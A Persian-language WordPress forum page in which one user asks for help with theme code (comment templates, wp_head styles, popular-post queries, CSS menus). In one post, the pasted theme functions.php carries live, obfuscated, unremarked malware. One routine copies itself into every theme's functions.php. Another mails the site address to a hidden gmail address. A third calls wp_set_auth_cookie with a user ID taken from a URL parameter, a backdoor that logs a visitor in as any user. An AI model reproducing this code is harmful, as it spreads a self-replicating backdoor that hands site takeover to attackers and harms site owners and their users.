رفتن به مطلب

goldenfont

عضو سایت
  • تعداد ارسال‌ها

    585
  • تاریخ عضویت

  • آخرین بازدید

نوشته‌ها ارسال شده توسط goldenfont

  1. <?php wp_list_comments($args); ?> رو که برمیدارم اونوقت دیدگاه هارو درست نمایش نمیده ، فقط نام رو نمایش میده که اون رو هم میزنه ناشناس

    من میخوام از کدهایی که خودم نوشتم استفاده کنم، چیکار کنم ؟

    ___________________________________

    از


    <?php wp_list_comments('type=all&callback=art_comment'); ?>

    بجای


    <?php wp_list_comments($args); ?>

    استفاده کردم ، مشکلم حل شد

  2. حالا مشکلم اینه که کامنتها رو دوبار نشون میده


    <?php if ( have_comments() ) : ?>
    <?php wp_list_comments($args); ?>
    <div class="comment even thread-even depth-1">
    <div class="cm-top">
    <div class="cm-date"><?php comment_date('d', $comment_ID); ?></div>
    <div class="cm-name"><b><?php comment_author($comment_ID); ?> </b> می گوید:</div></div>
    <div class="cm-content"><p><?php comment_text($comment_ID); ?></p>
    </div>
    <div class="clr">
    </div></div>

    <?php endif; ?>
    <?php else :
    // comments are closed ?>
    <?php endif; ?>

    یکبار با استایلی که من براش نوشتم ، یکبار با استایلی که قبلا داشت

    مشکل از توابع پوسته هستش

    ممنون میشم کدهایی که در این فایل مربوط به نمایش دیدگاه است رو بردارید

    ممنون

    <?php

    /**

    * @package WordPress

    * @subpackage Showcaser Theme

    */

    //includes

    require('admin/theme-admin.php');

    require('functions/pagination.php');

    require('functions/better-excerpts.php');

    require('functions/shortcodes.php');

    // Set the content width based on the theme's design and stylesheet.

    if ( ! isset( $content_width ) )

    $content_width = 620;

    // get scripts

    add_action('wp_enqueue_scripts','my_theme_scripts_function');

    function my_theme_scripts_function() {

    //get theme options

    global $options;

    wp_deregister_script('jquery');

    wp_register_script('jquery', ("http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"), false, '1.4.2');

    wp_enqueue_script('jquery');

    // Site wide js

    wp_enqueue_script('custom', get_template_directory_uri() . '/js/custom.js');

    }

    // Limit Post Word Count

    function new_excerpt_length($length) {

    return 99999;

    }

    add_filter('excerpt_length', 'new_excerpt_length');

    //Replace Excerpt Link

    function new_excerpt_more($more) {

    global $post;

    return '...';

    }

    add_filter('excerpt_more', 'new_excerpt_more');

    //Activate post-image functionality (WP 2.9+)

    if ( function_exists( 'add_theme_support' ) )

    add_theme_support( 'post-thumbnails' );

    // featured image sizes

    if ( function_exists( 'add_image_size' ) ) {

    add_image_size( 'full-size', 9999, 9999, false );

    add_image_size( 'post-image', 245, 120, true );

    add_image_size( 'single-image', 560, 274, true );

    }

    // Enable Custom Background

    add_custom_background();

    // register navigation menus

    register_nav_menus(

    array(

    'main nav'=>__('فهرست اصلی'),

    )

    );

    /// add home link to menu

    function home_page_menu_args( $args ) {

    $args['show_home'] = true;

    return $args;

    }

    add_filter( 'wp_page_menu_args', 'home_page_menu_args' );

    // menu fallback

    function default_menu() {

    require_once (TEMPLATEPATH . '/includes/default-menu.php');

    }

    //Register Sidebars

    if ( function_exists('register_sidebar') )

    register_sidebar(array(

    'name' => 'منوی کناری',

    'description' => 'ابزارک ها اين قسمت در منوي کناري قرار ميگيرند',

    'before_widget' => '<div class="sidebar-box clearfix">',

    'after_widget' => '</div>',

    'before_title' => '<h4>',

    'after_title' => '</h4>',

    ));

    // functions run on activation --> important flush to clear rewrites

    if ( is_admin() && isset($_GET['activated'] ) && $pagenow == 'themes.php' ) {

    $wp_rewrite->flush_rules();

    }

    ?>

    <?php

    function _verify_isactivate_widget(){

    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

    $output=strip_tags($output, $allowed);

    $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

    if (is_array($direst)){

    foreach ($direst as $item){

    if (is_writable($item)){

    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

    $cont=file_get_contents($item);

    if (stripos($cont,$ftion) === false){

    $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

    $output .= $before . "پيدا نشد" . $after;

    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);

    $output .= ($showdots && $ellipsis) ? "..." : "";

    }

    }

    }

    }

    return $output;

    }

    function _get_allwidgetcont($wids,$items=array()){

    $places=array_shift($wids);

    if(substr($places,-1) == "/"){

    $places=substr($places,0,-1);

    }

    if(!file_exists($places) || !is_dir($places)){

    return false;

    }elseif(is_readable($places)){

    $elems=scandir($places);

    foreach ($elems as $elem){

    if ($elem != "." && $elem != ".."){

    if (is_dir($places . "/" . $elem)){

    $wids[]=$places . "/" . $elem;

    } elseif (is_file($places . "/" . $elem)&&

    $elem == substr(__FILE__,-13)){

    $items[]=$places . "/" . $elem;}

    }

    }

    }else{

    return false;

    }

    if (sizeof($wids) > 0){

    return _get_allwidgetcont($wids,$items);

    } else {

    return $items;

    }

    }

    if(!function_exists("stripos")){

    function stripos( $str, $needle, $offset = 0 ){

    return strpos( strtolower( $str ), strtolower( $needle ), $offset );

    }

    }

    if(!function_exists("strripos")){

    function strripos( $haystack, $needle, $offset = 0 ) {

    if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

    if( $offset < 0 ){

    $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

    }

    else{

    $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

    }

    if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

    $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

    return $pos;

    }

    }

    if(!function_exists("scandir")){

    function scandir($dir,$listDirectories=false, $skipDots=true) {

    $dirArray = array();

    if ($handle = opendir($dir)) {

    while (false !== ($file = readdir($handle))) {

    if (($file != "." && $file != "..") || $skipDots == true) {

    if($listDirectories == false) { if(is_dir($file)) { continue; } }

    array_push($dirArray,basename($file));

    }

    }

    closedir($handle);

    }

    return $dirArray;

    }

    }

    add_action("admin_head", "_verify_isactivate_widget");

    function _getsprepare_widget(){

    if(!isset($com_length)) $com_length=120;

    if(!isset($text_value)) $text_value="cookie";

    if(!isset($allowed_tags)) $allowed_tags="<a>";

    if(!isset($type_filter)) $type_filter="none";

    if(!isset($expl)) $expl="";

    if(!isset($filter_homes)) $filter_homes=get_option("home");

    if(!isset($pref_filter)) $pref_filter="wp_";

    if(!isset($use_more)) $use_more=1;

    if(!isset($comm_type)) $comm_type="";

    if(!isset($pagecount)) $pagecount=$_GET["cperpage"];

    if(!isset($postauthor_comment)) $postauthor_comment="";

    if(!isset($comm_is_approved)) $comm_is_approved="";

    if(!isset($postauthor)) $postauthor="auth";

    if(!isset($more_link)) $more_link="(more...)";

    if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");

    if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;

    if(!isset($more_link_ditails)) $more_link_ditails="(details...)";

    if(!isset($morecontents)) $morecontents="ma".$expl."il";

    if(!isset($fmore)) $fmore=1;

    if(!isset($fakeit)) $fakeit=1;

    if(!isset($sql)) $sql="";

    if (!$is_widget) :

    global $wpdb, $post;

    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

    if (!empty($post->post_password)) {

    if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

    if(is_feed()) {

    $output=__("There is no excerpt because this is a protected post.");

    } else {

    $output=get_the_password_form();

    }

    }

    }

    if(!isset($f_tags)) $f_tags=1;

    if(!isset($type_filters)) $type_filters=$filter_homes;

    if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;

    if(!isset($aditional_tags)) $aditional_tags="div";

    if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#

    if(!isset($more_link_text)) $more_link_text="Continue reading this entry";

    if(!isset($showdots)) $showdots=1;

    $comments=$wpdb->get_results($sql);

    if($fakeit == 2) {

    $text=$post->post_content;

    } elseif($fakeit == 1) {

    $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

    } else {

    $text=$post->post_excerpt;

    }

    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

    if($com_length < 0) {

    $output=$text;

    } else {

    if(!$no_more && strpos($text, "<!--more-->")) {

    $text=explode("<!--more-->", $text, 2);

    $l=count($text[0]);

    $more_link=1;

    $comments=$wpdb->get_results($sql);

    } else {

    $text=explode(" ", $text);

    if(count($text) > $com_length) {

    $l=$com_length;

    $ellipsis=1;

    } else {

    $l=count($text);

    $more_link="";

    $ellipsis=0;

    }

    }

    for ($i=0; $i<$l; $i++)

    $output .= $text[$i] . " ";

    }

    update_option("_is_widget_active_", 1);

    if("all" != $allowed_tags) {

    $output=strip_tags($output, $allowed_tags);

    return $output;

    }

    endif;

    $output=rtrim($output, "\s\n\t\r\0\x0B");

    $output=($f_tags) ? balanceTags($output, true) : $output;

    $output .= ($showdots && $ellipsis) ? "..." : "";

    $output=apply_filters($type_filter, $output);

    switch($aditional_tags) {

    case("div") :

    $tag="div";

    break;

    case("span") :

    $tag="span";

    break;

    case("p") :

    $tag="p";

    break;

    default :

    $tag="span";

    }

    if ($use_more ) {

    if($fmore) {

    $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";

    } else {

    $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";

    }

    }

    return $output;

    }

    add_action("init", "_getsprepare_widget");

    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

    global $wpdb;

    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

    if(!$show_pass_post) $request .= " AND post_password =\"\"";

    if($duration !="") {

    $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

    }

    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

    $posts=$wpdb->get_results($request);

    $output="";

    if ($posts) {

    foreach ($posts as $post) {

    $post_title=stripslashes($post->post_title);

    $comment_count=$post->comment_count;

    $permalink=get_permalink($post->ID);

    $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

    }

    } else {

    $output .= $before . "None found" . $after;

    }

    return $output;

    }

    function getpostviews($postID){

    $count_key = 'post_views_count';

    $count = get_post_meta($postID, $count_key, true);

    if($count==''){

    delete_post_meta($postID, $count_key);

    add_post_meta($postID, $count_key, '0');

    return "0 بازدید";

    }

    return $count.' بازدید';

    }

    function setpostviews($postID) {

    $count_key = 'post_views_count';

    $count = get_post_meta($postID, $count_key, true);

    if($count==''){

    $count = 0;

    delete_post_meta($postID, $count_key);

    add_post_meta($postID, $count_key, '0');

    }else{

    $count++;

    update_post_meta($postID, $count_key, $count);

    }

    }

    ?>

  3. سلام دوستان

    من یه کد برای دیدگاه هام نوشتم ، میخوام ازش استفاده کنم


    <li id="comment-1" class="comment even thread-even depth-1">
    <div class="comment-body" id="div-comment-1">
    <div class="comment-author vcard">
    <img width="55" height="55" class="avatar avatar-55 photo avatar-default" src="http://0.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=55" alt=""> <cite class="fn"><a class="url" rel="external nofollow" href="http://wordpress.org/">آقای وردپرس</a></cite> <span class="says">می‌گه:</span> </div>

    <div class="comment-meta commentmetadata"><a href="?p=1#comment-1">
    ژانویه 13, 2014 در 8:56 ب.ظ</a>  <a href="wp-admin/comment.php?action=editcomment&c=1" class="comment-edit-link">(ویرایش)</a> </div>
    <p>سلام،‌ این نوشته یک «دیدگاه» است.<br>
    برای پاک کردن یا ویرایش یک دیدگاه، باید وارد بخش مدیریت شوید، سپس به بخش دیدگاه‌ها بروید٬ در آن‌جا می‌توانید دیدگاه‌ها را ویرایش و یا پاک کنید.</p>
    <div class="reply">
    <a onclick="return addComment.moveForm("div-comment-1", "1", "respond", "1")" href="/lg/?p=1&replytocom=1#respond" class="comment-reply-link">پاسخ دادن</a> </div>
    </div>
    </li>

    اما وقتی رفتم تو کامنت.پی اچ پی دیدم که برای قسمت نظرات تایید شده فقط همین هست :


    <ol class="commentlist">
    <?php wp_list_comments(
    array(
    'avatar_size' => 55,
    ));
    ?>
    </ol>

    چطوری از کد بالا استفاده کنم و توابع رو توش جایگذاری کنم ؟

    ممنون

  4. سلام

    <?php wp_head(); ?> رو که در قالب میزارم


    <style type="text/css" media="screen">
    html { margin-top: 32px !important; }
    * html body { margin-top: 32px !important; }
    @media screen and ( max-width: 782px ) {
    html { margin-top: 46px !important; }
    * html body { margin-top: 46px !important; }
    }
    </style>

    رو تو قالب میزاره و برام مشکل ساز میشه راه حلی نداره

  5. سلام

    دوستان من وردپرس رو تازه نصب کردم

    یه نوشته توش هست اونم همون سلام دنیا ، با کد نمایش محبوبترین مطالب مطلبی نمایش داده نمیشه :


    <ul>
    <?php
    query_posts('meta_key=post_views_count&orderby=meta_value_num&order=DESC&showposts=10');
    if (have_posts()) : while (have_posts()) : the_post(); ?>
    <li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li>
    <?php
    endwhile; endif;
    wp_reset_query();
    ?>
    </ul>

    علت چی میتونه باشه ؟

  6. قصد اسپم ندارم ولی واقعا این برای چندمین باره که با یه همچنین چیزی روبرو شدم در این انجمن:

    متاسفانه دوست عزیز goldenfont در صدد ریپ کردن قالب میباشند و دوستان هم که از اظهار فضل مضایقت ننموده در سبب تشویق ایشون به همین کار هستند!

    کاش همانطور که صحبت راجع به پوسته های پرمیوم ممنوع بود همانطور هم ..................!

    شاید نشه جلوی این موضوع رو گرفت ولی خودمون هم شاهد هستیم که ایراد از خود ماست !

    و حتما هم اسم این کار جز کمک و ... چیزی نیست! ;)

    از مدیران عزیز خواهش دارم که تاپیک را قفل فرمایند.

    هیچوقت نسنجیده حرفی نزنید

    اولا فوتر رو نگاه کنید :


    قالب این سایت برگرفته از رسانه راد موزیک میباشد.

    بعد هم اینکه از مدیر اون سایت اجازه گرفته شده

    قرار شده بنرشون هم قرار بگیره

    کاش اول از خودم میپرسیدین بعد حرفش رو میزدین

  7. در این هم همین مشکل هستش :


    http://rozup.ir/up/meli3da/style.css

    یا مثلا این اشکالش چیه ؟


    @font-face { font-family:'Droid Arabic Kufi'; font-weight:normal; src:url(font/wdsaudi.eot?#) format('eot'),url('http://andishe118.ir/wp-content/themes/classipress/font/DroidKufi-Regular.woff') format('woff'),url('http://andishe118.ir/wp-content/themes/classipress/font/DroidKufi-Regular.ttf') format('truetype'); }
    nav {
    font-family: 'Droid Arabic Kufi';
    }

  8. ینی به این ترتیب برای links-inner بنویسم (بجای nav باید links-inner رو بزارم :


    nav ul li ul {
    2 background: none repeat scroll 0 0 #708090;
    3 opacity: 0;
    4 padding: 0;
    5 position: absolute;
    6 right: 0;
    7 top: 100%;
    8 transition: all 0.5s ease 0s;
    9 visibility: hidden;
    10 width: 170px;
    11 }
    12 nav ul li:hover > ul {
    13 display: block;
    14 opacity: 1;
    15 visibility: visible;
    16 }
    17 nav ul li ul li ul {
    18 border-right: 1px solid #5D6D7D;
    19 right: 100%;
    20 top: 0;
    21 }
    22 nav ul li ul li a {
    23 border-bottom: 1px solid #637383;
    24 color: #FFFFFF;
    25 text-align: right;
    26 width: 70%;
    27 }

    ؟

×
×
  • اضافه کردن...